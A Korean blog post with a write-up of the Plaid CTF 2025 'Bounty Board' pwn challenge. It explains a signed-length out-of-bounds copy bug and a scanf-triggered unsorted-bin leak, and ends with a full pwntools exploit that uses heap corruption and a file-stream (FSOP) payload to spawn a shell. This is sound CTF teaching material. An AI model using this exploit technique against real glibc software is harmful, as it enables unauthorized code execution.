Link
Notice
Recent Posts
Recent Comments
«   2026/07   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

hiariz 님의 블로그

[Plaid CTF 2025] Bounty Board 본문

CTF, Wargame

[Plaid CTF 2025] Bounty Board

hiariz 2026. 2. 13. 02:06
 

Plaid CTF 2025

 

plaidctf.com

 

문제 코드는 다음과 같습니다.

__int64 sub_14B0()
{
  unsigned int v2; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("[[ Menu ]]");
  puts("0. Create Notes");
  puts("1. Copy Notes");
  puts("2. Exit");
  printf("> ");
  if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 && v2 < 3 )
    return v2;
  else
    return 2;
}
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  char *s; // [rsp+10h] [rbp-30h]
  int i; // [rsp+18h] [rbp-28h]
  size_t n; // [rsp+20h] [rbp-20h] BYREF
  unsigned int v8; // [rsp+28h] [rbp-18h] BYREF
  unsigned int v9; // [rsp+2Ch] [rbp-14h] BYREF
  _QWORD v10[2]; // [rsp+30h] [rbp-10h] BYREF

  v10[1] = __readfsqword(0x28u);
  alarm(0x1Eu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = sub_14B0(); i != 2; i = sub_14B0() )
  {
    if ( i )
    {
      if ( i == 1 )
      {
        printf("dst: ");
        __isoc99_scanf("%d", &v9);
        if ( v9 < dword_4020 )
        {
          printf("src: ");
          __isoc99_scanf("%d", &v8);
          if ( v8 < dword_4020 )
          {
            printf("len: ");
            __isoc99_scanf("%ld", &n);
            if ( (signed __int64)n <= qword_4070[v9] && (signed __int64)n <= qword_4070[v8] )
              memcpy(*((void **)&unk_4030 + (int)v9), *((const void **)&unk_4030 + (int)v8), n);
            else
              printf("[!] invalid copy size\n");
          }
          else
          {
            printf("[!] invalid copy destination\n");
          }
        }
        else
        {
          printf("[!] invalid copy source\n");
        }
      }
    }
    else if ( (unsigned int)dword_4020 < 8 )
    {
      printf("size: ");
      __isoc99_scanf("%ld%*c", v10);
      if ( v10[0] <= 0x100uLL )
      {
        s = (char *)malloc(v10[0] + 1LL);
        fgets(s, LODWORD(v10[0]) + 1, stdin);
        v10[0] = strlen(s);
        *((_QWORD *)&unk_4030 + (unsigned int)dword_4020) = s;
        v3 = dword_4020++;
        qword_4070[v3] = v10[0];
      }
      else
      {
        printf("[!] invalid notes size\n");
      }
    }
    else
    {
      printf("[!] max notes reached\n");
    }
  }
  return 0LL;
}

 

문제 코드를 살펴보면 힙 청크 생성하는 함수와 특정 청크를 다른 청크로 특정 길이만큼 복사하는 함수만 존재합니다. 

 

이 문제의 경우에는 문제 프로그램의 취약점보다는 libc 함수의 내부동작을 잘 이해하고 있어야 풀 수 있는 문제입니다.

 

먼저 문제의 취약점들을 살펴보면 다음과 같습니다.

 

- dst, src, len을 입력받고, len에 대해 하한 검증이 없음

- 특히 len이 signed로 파싱된 뒤 실제 복사 함수(memcpy/memmove 등)에는 size_t로 사용되면, 음수 len이 매우 큰 양수로 변환되어 OOB write 가능

 

그러나 여기서 이 취약점만 가지고는 libc 주소의 leak을 만들 수 없습니다. 이 방법이외에 다른 방법을 통해 libc 주소를 얻을 수 있는 방법을 찾아야합니다.

 

이때 사용하는 함수가 바로 scanf입니다. scanf는 입력값을 받을 때 다음과 같이 동작합니다.

 

- 입력값이 4KB 이상이면, scanf가 숫자를 파싱하는 동안 숫자 문자열을 임시로 저장할 버퍼가 필요
- glibc 구현은 짧으면 스택/작은 버퍼로 처리하지만, 길이가 길면 내부에서 heap으로 버퍼를 키우려고 malloc/realloc을 수행
- 그리고 파싱이 끝나면 그 임시 버퍼를 free
- 그 free된 chunk가 충분히 큰 크기(수 KB)라서 tcache/fastbin으로 안 가고 unsorted bin으로 처리

 

따라서 scanf를 통해 큰 숫자를 입력하여 unsorted bin을 생성한 후 copy 함수에 존재하는 취약점을 통해 tcache 구조체를 덮으면 tcache bin에 우리가 원하는 값을 덮어쓸 수 있습니다.

 

unsorted bin을 통해 fd/bk 값이 저장되는데 여기에는 libc 주소가 저장이 됩니다. 위의 취약점을 통해 해당 주소의 하위 2바이트를 stdout 주소로 덮어주면 해당 주소가 각 청크의 bins로 저장됩니다.

unsorted bin이 생성된 모습


그리고 stdout 주소가 저장된 bin 사이즈를 할당하고 libc 주소 leak을 위한 fsop 페이로드를 보내주면 libc 주소가 릭이 됩니다

.

이를 통해 libc_base 주소와 system, fsop를 위한 구조체 주소들을 구해준 후 다시 똑같은 방식으로 fsop 페이로드를 stdout 구조체로 할당된 청크에 넣어주면 셸을 얻을 수 있습니다.

 

최종 익스플로잇 코드는 다음과 같습니다.

from pwn import *

context.arch = "amd64"
context.log_level = "info"

#p = remote("localhost", 1337)
p = process('./copy11')
libc = ELF("./libc.so.6", checksec=False)

gdb.attach(p)

def create(size, data):
    p.sendlineafter(b"> ", b"0")
    p.sendlineafter(b"size: ", str(size).encode())
    if not data.endswith(b"\n"):
        data += b"\n"
    p.send(data)

def copy(dst, src, n):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"dst: ", str(dst).encode())
    p.sendlineafter(b"src: ", str(src).encode())
    p.sendlineafter(b"len: ", str(n).encode())

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

tag16 = libc.sym["_IO_2_1_stdout_"] & 0xFFFF

payload0 = p16(tag16) * 20 + p64(0xCF1) + p64(0x6C50) * 2
create(0x40, payload0)  # 0
create(0x27, p16(tag16) * 18)  # 1
copy(1, 0, -1)

p.sendlineafter(b"> ", b"0" * 0x1000 + b"0")
p.sendlineafter(b"size: ", b"55")
p.send(p16(tag16) * 24 + b"\n")  # 2
create(0x20, b"\n")  # 3
copy(2, 3, -256)
copy(2, 1, 2)
copy(0, 2, -0x30)
copy(1, 0, 8)
copy(2, 3, -0x200)
copy(2, 1, -0x210)
for i in range(4):
    copy(2, 1, -0x220 - 0x10 * i)
for i in range(1, 18):
    copy(0, 2, -0x20 * i)

copy(2,1,-0x1d0)

create(0x90, p64(0xfbad1887) + p64(0) * 3)
raw = p.recvrepeat(2.5)
for mark in (b"0. Create Notes\n1. Copy Notes\n2. Exit\n> ", b"[[ Menu ]]"):
    at = raw.find(mark)
    if at != -1:
        raw = raw[:at]
        break

ptrs = []
for i in range(0, max(0, len(raw) - 7)):
    q = u64(raw[i : i + 8])
    if 0x700000000000 <= q < 0x800000000000:
        ptrs.append(q)
if not ptrs:
    log.failure(f"no leak ptr")
    raise SystemExit(1)

leak_ptr = ptrs[0]
log.info(f"first leak ptr={leak_ptr:#x}")
libc_base = leak_ptr - 0x1bd4a0
if (libc_base & 0xFFF) != 0:
    want = (libc.sym["_IO_2_1_stdout_"] + 0x83) & 0xFFF
    libc_base = None
    for q in ptrs:
        if (q & 0xFFF) == want:
            b = q - (libc.sym["_IO_2_1_stdout_"] + 0x83)
            if (b & 0xFFF) == 0 and 0x700000000000 <= b < 0x800000000000:
                libc_base = b
                break
    if libc_base is None:
        log.failure("no libc base candidate")
        raise SystemExit(1)

libc.address = libc_base
system = libc.sym["system"]
stdout = libc.sym["_IO_2_1_stdout_"]
stdout_lock = libc.address + u64(libc.read(libc.sym["_IO_2_1_stdout_"] + 0x88, 8))
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]

log.success(f"leak={leak_ptr:#x} \nlibc={libc.address:#x}")
log.info(f"system={system:#x} \nstdout={stdout:#x} \nlock={stdout_lock:#x} \n_IO_wfile_jumps={_IO_wfile_jumps:#x}")

fsop = FSOP_struct(flags = u64(b"\x01\x01\x01\x01;sh\x00"), \
        lock            = stdout_lock, \
        _IO_write_ptr   = 0x1, \
        _wide_data      = stdout - 0x10, \
        _mode           = 0xffffffff, \
        _chain          = system, \
        _unused2        = p32(0x0) + p64(0x0) + p64(stdout), \
        vtable          = _IO_wfile_jumps
        )

p.sendline(b'0')
p.sendlineafter(b"size: ", b'240')
p.sendline(fsop)

p.interactive()

'CTF, Wargame' 카테고리의 다른 글

[Plaid CTF 2025] zerodeo (CVE-2025-32023)  (0) 2026.02.26
[Plaid CTF 2025] ocalc  (1) 2026.02.21
[Plaid CTF 2025] Tumbleweed  (0) 2026.02.03
[Dreamhack] object Object  (0) 2025.12.30
[Dreamhack] Magnus Carlsen  (0) 2025.12.27